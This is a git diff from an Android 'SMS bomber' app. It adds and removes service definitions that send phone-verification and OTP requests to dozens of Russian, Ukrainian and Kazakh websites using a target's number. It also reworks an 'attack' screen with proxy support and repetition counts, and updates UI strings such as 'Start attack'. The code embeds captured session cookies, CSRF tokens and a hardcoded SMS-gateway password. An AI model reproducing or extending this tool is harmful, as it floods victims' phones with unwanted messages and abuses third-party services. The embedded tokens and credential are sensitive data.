JsonService("https://dnipro-m.ua/phone-verification/") { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("x-csrf-token", "2Ame-KM1DXP3ATTtBQ1ks-pj771B-P6hyQMiztAeYkLoZ8qOwGVDJJxScIY1PRDfnAWr9QSvie2cUXCNqlI9LA=="); + builder.addHeader("Cookie", "PHPSESSID=rshi0gctd3nsddcs58l865tu6q; session_hash=8d5affc2cad1a00ddfe8fa3f067e13b8; ab_1=2; logged_in_as=c38cdce2f7ef0094f910220849aee84a3613eb500f51202d492282b1d416cf91a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22logged_in_as%22%3Bi%3A1%3BN%3B%7D; manager_store=9f8a6a348bfddc4e1484e8c2b620e744a46020143d5011858217908bfa12f43ca%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22manager_store%22%3Bi%3A1%3BN%3B%7D; language=1f1c77ed088a525c9d9a3ee0075b68d6a50c75278eb07b95c9c6c8adf4633886a%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22ru%22%3B%7D; translations_pushed=92f83c1f3a434aeae744854c974cdb236df315cbe39e518ed7234b1ea9a0cd88a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22translations_pushed%22%3Bi%3A1%3Bi%3A1%3B%7D; _csrf-frontend=8ed0eca3dbc58c275be1804686501b2aa4c60f1f562d2e2098d3651b66a2af18a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%220nTvcPNWkSDk00tlvfDHEWwLURRCzL_n%22%3B%7D; _gcl_au=1.1.439638018.1644856370; _gid=GA1.2.162073021.1644856370; _dc_gtm_UA-87493814-1=1; sc=3E8EF674-EB02-A8ED-92DC-DA62D3B448B9; _fbp=fb.1.1644856370513.191414281; _hjSessionUser_1116764=eyJpZCI6IjExMzBlN2U4LWFhODAtNTRlZi1iODY2LWIyMDgzMWViNjVmOCIsImNyZWF0ZWQiOjE2NDQ4NTYzNzExMjUsImV4aXN0aW5nIjpmYWxzZX0=; _hjFirstSeen=1; _hjIncludedInSessionSample=0; _hjSession_1116764=eyJpZCI6ImZjYzMyNmRhLTNkZTUtNGM1ZC1iMTE2LTVjNjNhN2JlNmQ5MSIsImNyZWF0ZWQiOjE2NDQ4NTYzNzExNTYsImluU2FtcGxlIjpmYWxzZX0=; _hjIncludedInPageviewSample=1; _hjAbsoluteSessionInProgress=0; _ga_1QMTESJ6M0=GS1.1.1644856371.1.0.1644856371.60; _ga=GA1.2.683370447.1644856370; _gat_UA-87493814-1=1; csfp=47a8c34d1a498bd8daee7742cb48c821"); + builder.addHeader("x-requested-with", "XMLHttpRequest"); + + return super.buildRequest(builder); + } + + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", getFormattedPhone()); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new JsonService("https://api.raketaapp.com/v1/auth/otps?ngsw-bypass=true") { + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", getFormattedPhone()); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new ParamsService("https://c.ua/index.php?route=account/loginapples/sendSMS", 380) { + @Override + public void buildParams(HttpUrl.Builder builder) { + builder.addQueryParameter("route", "account/loginapples/sendSMS"); + builder.addQueryParameter("phone", "0" + phone); + } + }, + + new JsonService("https://oauth.av.ru/check-phone", 7) { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "rrpvid=50921543596612; rcuid=61fc0f0fd6d3b0000109d97d; _fbp=fb.1.1644942354474.861857136; scarab.visitor=%221DFC214A72CE04B6%22; _gcl_au=1.1.468949459.1644942355; tmr_lvid=8d216dc77735473614cf84f36356f5e2; tmr_lvidTS=1644942355170; _ga=GA1.2.1631079387.1644942355; _gid=GA1.2.1730181075.1644942355; _dc_gtm_UA-44837825-1=1; _ym_d=1644942355; _ym_uid=1644942355426542771; _ym_isad=2; _ym_visorc=w; gdeslon.ru.__arc_domain=gdeslon.ru; gdeslon.ru.user_id=8c6de077-7f3b-4af2-8e06-9f0243dab8e8; session-cookie=16d4025de27335c1cb1a64b9beb261f52d904910639583d6de7337b0b56dab805408c3b797154802caa253c26623b9d2; XSRF-TOKEN=eyJpdiI6IlBmdlhGTXZrbmk1U1YxaW14TWlaclE9PSIsInZhbHVlIjoieE9zYU9rR3hEZ2tsWGROWFRFVmlUZU5sVXFrZG00bFB0bUZ6ZE5wMWN1eW9ZcnBVU1poT3RWZkw1QUEycG9mTiIsIm1hYyI6ImUzOWFhYzEwMzNkN2M1ZGE0MmRmZDMyMzQ0ZTc0NWViNWE5MGNjNzUwMTRlOTkxNjA5Y2IxNjA3NjJjNzg0MzAifQ%3D%3D; laravel_session=eyJpdiI6Ikp0UndrSHhhVmJwWVhoaERpSmJOYmc9PSIsInZhbHVlIjoiRldtOE5KY01iSFh3RnRVQ0liaE9mQXpxYjg5ekFhSGpiWHZLRWVYTVlNd3BPUytmQmYwNFB3WHZnUEV4NFBySSIsIm1hYyI6IjIyZjhkNWRiYzFkYTllNzM4YWM4MjliMDMwYzE0NDMwMTdiYzAwNmY0YmZiMmEzMWM0MTExM2UwN2MwMGE0M2EifQ%3D%3D; font=phone; _dc_gtm_UA-73212427-1=1; tmr_reqNum=23; tmr_detect=0%7C1644942368834"); + builder.addHeader("x-ajax-token", "5592b90ee98edbba757b233367431ad8e130b84cbeb2599262f0ebf957f36b68"); + builder.addHeader("x-csrf-token", "QpZQnv8B7Myy3yU2TYQqVwjVsM4iPL3CarHb5M2g"); + builder.addHeader("x-xsrf-token", "eyJpdiI6IlBmdlhGTXZrbmk1U1YxaW14TWlaclE9PSIsInZhbHVlIjoieE9zYU9rR3hEZ2tsWGROWFRFVmlUZU5sVXFrZG00bFB0bUZ6ZE5wMWN1eW9ZcnBVU1poT3RWZkw1QUEycG9mTiIsIm1hYyI6ImUzOWFhYzEwMzNkN2M1ZGE0MmRmZDMyMzQ0ZTc0NWViNWE5MGNjNzUwMTRlOTkxNjA5Y2IxNjA3NjJjNzg0MzAifQ=="); + + return super.buildRequest(builder); + } + + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("phone", format(phone, "+7 (***) ***-**-**")); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new ParamsService("https://www.farpost.ru/sign/code/4f4fa7e19e3ba823af9bfc8af95bfd3d/send") { + @Override + public void buildParams(HttpUrl.Builder builder) { + builder.addQueryParameter("sign", getFormattedPhone()); + builder.addQueryParameter("return", "/"); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "ring=09090bc822948c9b09190782e129530d; _gid=GA1.2.1845397233.1644852398; PHPSESSID=09090bc822948c9b09190782e129530d; _ga_G0RWKN84TQ=GS1.1.1644942896.3.1.1644942996.0; _gat=1; _ga=GA1.1.228350603.1644852398"); + + return super.buildRequest(builder); + } + }, + + new FormService("https://client.taximaxim.com/ru-RU/site/send-code/?tax-id=yFL33BWu8yOEhqH0C0bV8BfGWKFjFba7Sxdwcdfppe71sHd4uxidkbS5%2B%2BYzBsW%2BiAH1yXFh2Na5bJdvZaNNTNRa6w%2BY1xpwqd1XUGEIcJc%3D") { + @Override + public void buildBody(FormBody.Builder builder) { + builder.add("_csrf", "kxA-oV0mlFWdBCIB7ILw3rimGOLKolF08U3T-xRAHODhR27nE3LDANN1Flmt27uT7tZVpqHsJhCmAJ-OLAMurw=="); + builder.add("LoginForm[org]", "maxim"); + builder.add("LoginForm[country]", "KZ"); + builder.add("LoginForm[baseId]", "2647"); + builder.add("LoginForm[phone]", format(phone, "+7(***)***-**-**")); + builder.add("LoginForm[code]", ""); + builder.add("LoginForm[sendCodeType]", "0"); + } + + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("Cookie", "_gcl_au=1.1.1590444723.1644943405; ga4_ga=GA1.1.1194255158.1644943405; _fbp=fb.1.1644943405522.1545141459; tmr_lvid=240c8ea73522f433a343f40b415fe8da; tmr_lvidTS=1644943405689; _ga=GA1.2.1194255158.1644943405; _gid=GA1.2.856429364.1644943406; _gat=1; _ym_uid=1644943406270600745; _ym_d=1644943406; _ym_isad=2; _ym_visorc=w; TAXSEE_V3MAXIM=l3thvebia464dbs2koje0n3hgv; __finger_print_hash=6e47d4b191dc6ac30a1d7606a5fa7a7a72cb20cc9e0853935099d982901443b9a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22__finger_print_hash%22%3Bi%3A1%3Bs%3A32%3A%2264d178a6ae165b1da838d27d84a1e244%22%3B%7D; __intl=1a6c3f19d825211b4b399b7960038c6d1a93438adf1deb9825ed10de11d478f0a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22__intl%22%3Bi%3A1%3Bs%3A5%3A%22ru-RU%22%3B%7D; _csrf=d92a7efa1c07f1ffe242d52d34c2845fc5430ca22a0a772cb9ff56f9528cb7faa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22rWPFNTWUNq4XAYKMVpMDkNwdWMLu8C2O%22%3B%7D; ga4_ga_21NZZ0KWNK=GS1.1.1644943405.1.1.1644943408.57; tmr_reqNum=4"); + builder.addHeader("X-CSRF-Token", "kxA-oV0mlFWdBCIB7ILw3rimGOLKolF08U3T-xRAHODhR27nE3LDANN1Flmt27uT7tZVpqHsJhCmAJ-OLAMurw=="); + + return super.buildRequest(builder); + } + }, + + new JsonService("https://www.kolesa-darom.ru/ajax/user/register") { + @Override + public Request buildRequest(Request.Builder builder) { + builder.addHeader("X-Bitrix-Csrf-Token", "80d2bb6c5a485281fede4066666273ab"); + + return super.buildRequest(builder); + } + + @Override + public String buildJson() { + JSONObject json = new JSONObject(); + + try { + json.put("approveRule", true); + json.put("phoneNumber", getFormattedPhone()); + json.put("step", new JSONObject().put("requestCode", "requestCode")); + } catch (JSONException e) { + e.printStackTrace(); + } + + return json.toString(); + } + }, + + new Service(7) { + @Override + public void run(OkHttpClient client, Callback callback) { + client.newCall(new Request.Builder() + .url("https://api.pizzasan.ru/api/clients/do_register") + .post(RequestBody.create("------WebKitFormBoundaryVtaTywrDHtBorVsK\n" + + "Content-Disposition: form-data; name=\"name\"\n" + + "\n" + + "\n" + + "------WebKitFormBoundaryVtaTywrDHtBorVsK\n" + + "Content-Disposition: form-data; name=\"phone\"\n" + + "\n" + + format(phone, "8(***) ***-****") + + "\n------WebKitFormBoundaryVtaTywrDHtBorVsK\n" + + "Content-Disposition: form-data; name=\"password\"\n" + + "\n" + + "1234567\n" + + "------WebKitFormBoundaryVtaTywrDHtBorVsK\n" + + "Content-Disposition: form-data; name=\"password_2\"\n" + + "\n" + + "1234567\n" + + "------WebKitFormBoundaryVtaTywrDHtBorVsK--", MediaType.parse("multipart/form-data; boundary=----WebKitFormBoundaryVtaTywrDHtBorVsK"))) + .build()).enqueue(callback); + } + }, }; } diff --git a/app/src/main/java/com/dm/bomber/services/SravniMobile.java b/app/src/main/java/com/dm/bomber/services/SravniMobile.java deleted file mode 100644 index 5b88411..0000000 --- a/app/src/main/java/com/dm/bomber/services/SravniMobile.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class SravniMobile extends JsonService { - - public SravniMobile() { - setUrl("https://mobile.sravni.ru/v1/auth"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Stolichki.java b/app/src/main/java/com/dm/bomber/services/Stolichki.java deleted file mode 100644 index 0af1e3b..0000000 --- a/app/src/main/java/com/dm/bomber/services/Stolichki.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class Stolichki extends JsonService { - - public Stolichki() { - setUrl("https://app.neo-pharm.ru/v5/auth/send-sms-code"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("action", "sign-up"); - json.put("phone", phone); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/TakeEat.java b/app/src/main/java/com/dm/bomber/services/TakeEat.java deleted file mode 100644 index 21f19b7..0000000 --- a/app/src/main/java/com/dm/bomber/services/TakeEat.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.dm.bomber.services; - -import androidx.annotation.NonNull; - -import java.io.IOException; - -import okhttp3.Call; -import okhttp3.FormBody; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.Response; - -public class TakeEat extends Service { - - public TakeEat() { - setPhoneCode("7"); - } - - @Override - public void run(OkHttpClient client, Callback callback) { - client.newCall(new Request.Builder() - .url("https://petrodv.takeeat.ru/ajax/user_check.php") - .post(new FormBody.Builder() - .add("phone", format(phone, "+7 *** ***-**-**")) - .build()) - .build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) { - client.newCall(new Request.Builder() - .url("https://petrodv.takeeat.ru/ajax/auth2.php") - .get() - .build()).enqueue(callback); - } - }); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/TeaRU.java b/app/src/main/java/com/dm/bomber/services/TeaRU.java deleted file mode 100644 index 68795ee..0000000 --- a/app/src/main/java/com/dm/bomber/services/TeaRU.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class TeaRU extends JsonService { - - public TeaRU() { - setUrl("https://1cmaster.tea.ru/api/v1/auth/authorize"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", phone); - json.put("countryCode", countryCode); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/VSK.java b/app/src/main/java/com/dm/bomber/services/VSK.java deleted file mode 100644 index 4bd6045..0000000 --- a/app/src/main/java/com/dm/bomber/services/VSK.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; -import okhttp3.Request; - -public class VSK extends FormService { - - public VSK() { - setUrl("https://shop.vsk.ru/ajax/auth/postSms/"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Accept", "*/*"); - builder.addHeader("Accept-Encoding", "gzip, deflate, br"); - builder.addHeader("Accept-Language", "ru,en-US;q=0.7,en;q=0.3"); - builder.addHeader("Connection", "keep-alive"); - builder.addHeader("Content-Length", "26"); - builder.addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); - builder.addHeader("Cookie", "visid_incap_2477515=iUPhKWAzSuWKnoaBn+rNrHWtmGEAAAAAQUIPAAAAAAC/bitMVn44iakA0jmagqXT; incap_ses_7233_2477515=3daLFFVZtiv2C2bLWcdgZHWtmGEAAAAAqwVQ32ohRCaloaASMhltrA==; tsid=98f3aadb3f28b8cbf643bf303535e81a06132af9c883415799de37781ebbee91; main_timestamp=1637395830; tmp_timestamp=1637395830; _ga=GA1.2.1832123709.1637395829; _gid=GA1.2.1813657276.1637395829; _ym_uid=1637395830263736668; _ym_d=1637395830; uxs_uid=53608c90-49d9-11ec-a453-932df60d6564; _ga_Z2NHCL79R0=GS1.1.1637395827.1.1.1637395895.59; _ym_isad=1; _ym_visorc=w; uid=wKhPmGGYrYVxWGQgCR8cAg==; visid_incap_2456364=NTllbUkURRKgEw4511tvGYStmGEAAAAAQUIPAAAAAADT7mD8QlIpRrYfBN6GkX51; incap_ses_7233_2456364=BobjWeCzIFkyEGbLWcdgZIStmGEAAAAAAfbqokx9wuQuA1SXd8j+zA==; PHPSESSID=a4b308593c839bf95ce0896549dcab86; utm_source=direct; utm_medium=none; utm_campaign=none; utm_term=none; utm_content=none; _gcl_au=1.1.354944829.1637395842; _ubtcuid=ckw7j8ogc00001w8ctq2u3sxa; tmr_reqNum=8; tmr_lvid=e2aa3e07d74a17bb6103b96dfa30b593; tmr_lvidTS=1637395843143; _sp_ses.e248=*; _sp_id.e248=cabe4e5e-1246-4ae3-801d-c5f106a13ef4.1637395843.1.1637395904.1637395843.1414939d-9249-4516-8bf7-836a1904becd; tmr_detect=1%7C1637395897295"); - builder.addHeader("Host", "shop.vsk.ru"); - builder.addHeader("Origin", "https://shop.vsk.ru"); - builder.addHeader("Referer", "https://shop.vsk.ru/personal/"); - builder.addHeader("Sec-Fetch-Dest", "empty"); - builder.addHeader("Sec-Fetch-Mode", "cors"); - builder.addHeader("Sec-Fetch-Site", "same-origin"); - builder.addHeader("TE", "trailers"); - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0"); - builder.addHeader("X-Requested-With", "XMLHttpRequest"); - - return super.buildRequest(builder); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("phone", format(phone, "+7+(***)+***-**-**")); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/WebCom.java b/app/src/main/java/com/dm/bomber/services/WebCom.java deleted file mode 100644 index 63f10c2..0000000 --- a/app/src/main/java/com/dm/bomber/services/WebCom.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.dm.bomber.services; - -import java.util.Random; - -import okhttp3.HttpUrl; - -public class WebCom extends ParamsService { - - public WebCom() { - setUrl("https://my3.webcom.mobi/sendsms.php"); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - Random random = new Random(); - - builder.addQueryParameter("user", "flashcall"); - builder.addQueryParameter("pwd", "xW2C5SUy"); - builder.addQueryParameter("sadr", "Flashcall"); - builder.addQueryParameter("dadr", phone); - builder.addQueryParameter("text", String.valueOf(random.nextInt(9000) + 1000)); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/YandexTips.java b/app/src/main/java/com/dm/bomber/services/YandexTips.java deleted file mode 100644 index b6fd551..0000000 --- a/app/src/main/java/com/dm/bomber/services/YandexTips.java +++ /dev/null @@ -1,22 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class YandexTips extends FormService { - - public YandexTips() { - setUrl("https://tips.yandex/dhdghfier.html"); - setMethod(POST); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("action", "set-sms"); - builder.add("phone", "+" + getFormattedPhone()); - builder.add("password", "qwertY1234_"); - builder.add("role", "1"); - builder.add("promocode", ""); - builder.add("who", "1"); - builder.add("g_token", ""); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/YotaTV.java b/app/src/main/java/com/dm/bomber/services/YotaTV.java deleted file mode 100644 index 9d04b8e..0000000 --- a/app/src/main/java/com/dm/bomber/services/YotaTV.java +++ /dev/null @@ -1,57 +0,0 @@ -package com.dm.bomber.services; - -import androidx.annotation.NonNull; - -import org.json.JSONException; -import org.json.JSONObject; - -import java.io.IOException; -import java.util.Objects; - -import okhttp3.Call; -import okhttp3.MediaType; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.RequestBody; -import okhttp3.Response; - -public class YotaTV extends Service { - - public YotaTV() { - setPhoneCode("7"); - } - - @Override - public void run(OkHttpClient client, Callback callback) { - client.newCall(new Request.Builder() - .url("https://tv.yota.ru/") - .get().build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) { - JSONObject json = new JSONObject(); - - try { - json.put("msisdn", getFormattedPhone()); - json.put("password", "91234657"); - } catch (JSONException e) { - e.printStackTrace(); - } - - for (String cookie : Objects.requireNonNull(response.headers().get("Set-Cookie")).split(";")) { - if (cookie.startsWith("SessionID")) - client.newCall(new Request.Builder() - .url("https://bmp.tv.yota.ru/api/v10/auth/register/msisdn") - .addHeader("Cookie", cookie) - .post(RequestBody.create( - json.toString(), MediaType.parse("application/json"))) - .build()).enqueue(callback); - } - } - }); - } -} diff --git a/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java b/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java index f687e54..e310405 100644 --- a/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java +++ b/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java @@ -53,7 +53,6 @@ public View getView(int index, View view, ViewGroup parent) { holder = (ViewHolder) view.getTag(); } - holder.binding.icon.setImageResource(flags[index]); holder.binding.code.setText(String.format("+%s", countryCodes[index])); diff --git a/app/src/main/java/com/dm/bomber/ui/MainActivity.java b/app/src/main/java/com/dm/bomber/ui/MainActivity.java index 5d7a780..7301d77 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainActivity.java +++ b/app/src/main/java/com/dm/bomber/ui/MainActivity.java @@ -8,7 +8,6 @@ import android.graphics.Color; import android.net.Uri; import android.os.Bundle; -import android.text.method.LinkMovementMethod; import android.util.TypedValue; import android.view.View; import android.view.ViewTreeObserver; @@ -65,7 +64,7 @@ protected void onCreate(Bundle savedInstanceState) { proxyDialog.setContentView(proxyBinding.getRoot()); proxyBinding.save.setOnClickListener(view -> { try { - repository.parseProxy(proxyBinding.proxies.getText().toString()); + repository.parseProxy(proxyBinding.proxies.getText() == null ? "" : proxyBinding.proxies.getText().toString()); repository.setRawProxy(proxyBinding.proxies.getText().toString()); proxyDialog.cancel(); @@ -98,39 +97,38 @@ protected void onCreate(Bundle savedInstanceState) { model.getCurrentProgress().observe(this, progress -> mainBinding.progress.setProgress(progress)); model.getMaxProgress().observe(this, maxProgress -> mainBinding.progress.setMax(maxProgress)); - model.isSnowfallEnabled().observe(this, enabled -> { - mainBinding.snowfall.setVisibility(enabled ? View.VISIBLE : View.GONE); - }); - model.getAttackStatus().observe(this, attackStatus -> { if (attackStatus) { - mainBinding.main.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { - @Override - public void onGlobalLayout() { - Blurry.with(MainActivity.this) - .radius(20) - .sampling(1) - .async() - .capture(mainBinding.main) - .getAsync(bitmap -> { - mainBinding.blur.setImageBitmap(bitmap); - - mainBinding.blur.setVisibility(View.VISIBLE); - mainBinding.main.setVisibility(View.INVISIBLE); - - mainBinding.attack.setVisibility(View.VISIBLE); - }); - - mainBinding.main.getViewTreeObserver().removeOnGlobalLayoutListener(this); - } - }); + mainBinding.main + .getViewTreeObserver() + .addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { + @Override + public void onGlobalLayout() { + Blurry.with(MainActivity.this) + .radius(20) + .sampling(1) + .async() + .capture(mainBinding.main) + .getAsync(bitmap -> { + mainBinding.blur.setImageBitmap(bitmap); + + mainBinding.blur.setVisibility(View.VISIBLE); + mainBinding.main.setVisibility(View.INVISIBLE); + + mainBinding.attack.setVisibility(View.VISIBLE); + }); + + mainBinding.main.getViewTreeObserver().removeOnGlobalLayoutListener(this); + } + }); mainBinding.main.requestLayout(); - } else { - mainBinding.main.setVisibility(View.VISIBLE); - mainBinding.blur.setVisibility(View.GONE); - mainBinding.attack.setVisibility(View.GONE); + return; } + + mainBinding.main.setVisibility(View.VISIBLE); + mainBinding.blur.setVisibility(View.GONE); + mainBinding.attack.setVisibility(View.GONE); }); CountryCodeAdapter adapter = new CountryCodeAdapter(this, @@ -141,8 +139,6 @@ public void onGlobalLayout() { String[] hints = getResources().getStringArray(R.array.hints); mainBinding.phoneNumber.setHint(hints[0]); - mainBinding.footer.setMovementMethod(LinkMovementMethod.getInstance()); - mainBinding.phoneCode.setAdapter(adapter); mainBinding.phoneCode.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { @Override @@ -199,11 +195,6 @@ public void onAnimationEnd(Animator animation) { return false; }); - mainBinding.bomb.setOnLongClickListener(view -> { - model.switchSnowfall(); - return true; - }); - BottomSheetDialog settings = new BottomSheetDialog(this); settings.setContentView(settingsBinding.getRoot()); @@ -235,15 +226,15 @@ public void onAnimationEnd(Animator animation) { model.setProxyEnabled(checked); }); + settingsBinding.sourceCodeTile.setOnClickListener(view -> startActivity( + new Intent(Intent.ACTION_VIEW, Uri.parse("https://github.com/dmitrijkotov634/android-bomber/")))); + settingsBinding.donateTile.setOnClickListener(view -> startActivity( new Intent(Intent.ACTION_VIEW, Uri.parse("https://telegra.ph/donate-01-19-2")))); mainBinding.phoneCode.setSelection(repository.getLastCountryCode()); mainBinding.phoneNumber.setText(repository.getLastPhone()); - if (DynamicColors.isDynamicColorAvailable()) - mainBinding.footer.setBackgroundColor(getThemeColor(R.attr.colorOnPrimary)); - Intent intent = getIntent(); if (intent != null && Intent.ACTION_DIAL.equals(intent.getAction())) processText(intent.getData().getSchemeSpecificPart()); @@ -288,7 +279,7 @@ public void onBackPressed() { super.onBackPressed(); } - public int getThemeColor(@AttrRes int attrRes) { + private int getThemeColor(@AttrRes int attrRes) { int materialColor = MaterialColors.getColor(this, attrRes, Color.BLUE); if (materialColor < 0) diff --git a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java index 407b6fa..54bdc74 100644 --- a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java +++ b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java @@ -18,7 +18,6 @@ public class MainViewModel extends ViewModel implements Callback { private int countryCode; private String phoneNumber; - private MutableLiveData snowfallEnabled; private MutableLiveData proxyEnabled; private MutableLiveData promotionShown; @@ -62,13 +61,6 @@ public void closePromotion() { showPromotion(); } - public void switchSnowfall() { - if (snowfallEnabled.getValue() != null) { - snowfallEnabled.setValue(!snowfallEnabled.getValue()); - repository.setSnowfallEnabled(snowfallEnabled.getValue()); - } - } - public void setProxyEnabled(boolean enabled) { repository.setProxyEnabled(enabled); proxyEnabled.setValue(enabled); @@ -105,13 +97,6 @@ public LiveData isProxyEnabled() { return proxyEnabled; } - public LiveData isSnowfallEnabled() { - if (snowfallEnabled == null) - snowfallEnabled = new MutableLiveData<>(repository.isSnowfallEnabled()); - - return snowfallEnabled; - } - public LiveData getCurrentProgress() { if (currentProgress == null) currentProgress = new MutableLiveData<>(0); diff --git a/app/src/main/res/drawable/cycles_count.xml b/app/src/main/res/drawable/cycles_count.xml index 495c840..e83c0ec 100644 --- a/app/src/main/res/drawable/cycles_count.xml +++ b/app/src/main/res/drawable/cycles_count.xml @@ -3,7 +3,7 @@ android:shape="rectangle"> + + diff --git a/app/src/main/res/drawable/ic_ru.xml b/app/src/main/res/drawable/ic_ru.xml index ea05bab..9428906 100644 --- a/app/src/main/res/drawable/ic_ru.xml +++ b/app/src/main/res/drawable/ic_ru.xml @@ -1,6 +1,6 @@ - - - - - + - - Angriff starten - Anzahl der Wiederholungen - Falsches Zahlenformat - Dunkles Thema - Spende - Information - Möchten Sie Updates und Entwicklungen verfolgen? Abonnieren Sie unseren Telegram-Kanal - Öffnen - Schließen - Proxy - Ungültiges Proxy-Format - Speichern - diff --git a/app/src/main/res/values-kz/strings.xml b/app/src/main/res/values-kz/strings.xml index 1788b0a..42ae785 100644 --- a/app/src/main/res/values-kz/strings.xml +++ b/app/src/main/res/values-kz/strings.xml @@ -1,15 +1,21 @@ - Шабуылды бастау Қайталау саны + Шабуылды бастау + Нөмір пішімі қате + Қараңғы тақырып Қайырымдылық + Прокси + Дереккөз + + Сақтау + Прокси пішімі дұрыс емес + Ақпарат Жаңартулар мен дамуды бақылағыңыз келе ме? Біздің Telegram каналына жазылыңыз + Ашу Жабу - Прокси - Прокси пішімі дұрыс емес - Сақтау diff --git a/app/src/main/res/values-night/themes.xml b/app/src/main/res/values-night/themes.xml index b519335..44a3fed 100644 --- a/app/src/main/res/values-night/themes.xml +++ b/app/src/main/res/values-night/themes.xml @@ -15,6 +15,4 @@ @style/ThemeOverlay.Bomber.MaterialAlertDialog - - @color/grey_900 \ No newline at end of file diff --git a/app/src/main/res/values-ru/strings.xml b/app/src/main/res/values-ru/strings.xml index 69c09ad..e499c27 100644 --- a/app/src/main/res/values-ru/strings.xml +++ b/app/src/main/res/values-ru/strings.xml @@ -1,15 +1,21 @@ - Начать атаку Количество повторов + Начать атаку + Неверный формат номера + Тёмная тема Пожертвование + Прокси + Исходный код + + Сохранить + Неверный формат прокси + Информация Хочешь следить за обновлениями и разработкой? Подпишись на наш Telegram канал + Открыть Закрыть - Прокси - Неверный формат прокси - Сохранить \ No newline at end of file diff --git a/app/src/main/res/values-uk/strings.xml b/app/src/main/res/values-uk/strings.xml index fcbd7fa..c5f9e89 100644 --- a/app/src/main/res/values-uk/strings.xml +++ b/app/src/main/res/values-uk/strings.xml @@ -1,15 +1,21 @@ - Почати атаку Кількість повторів + Почати атаку + Невірний формат номера + Темна тема Пожертвування + Проксi + Вихідний код + + Зберегти + Невірний формат проксі + Інформація Хочеш стежити за оновленнями та розробкою? Підпишись на наш Telegram канал + Відкрити Закрити - Проксi - Неверний формат проксі - Зберегти \ No newline at end of file diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml index 6a6846f..95a804f 100644 --- a/app/src/main/res/values/strings.xml +++ b/app/src/main/res/values/strings.xml @@ -1,20 +1,26 @@ Bomber - Made by wavecat with ❤️ - Start attack + Number of repetitions + Start attack + Invalid number format + Dark theme Donate + Proxy + Source code + + Save + Invalid proxy format + Information - Do you want to follow the updates and development? Subscribe to our Telegram channel + Want to keep up with updates and developments? Subscribe to our 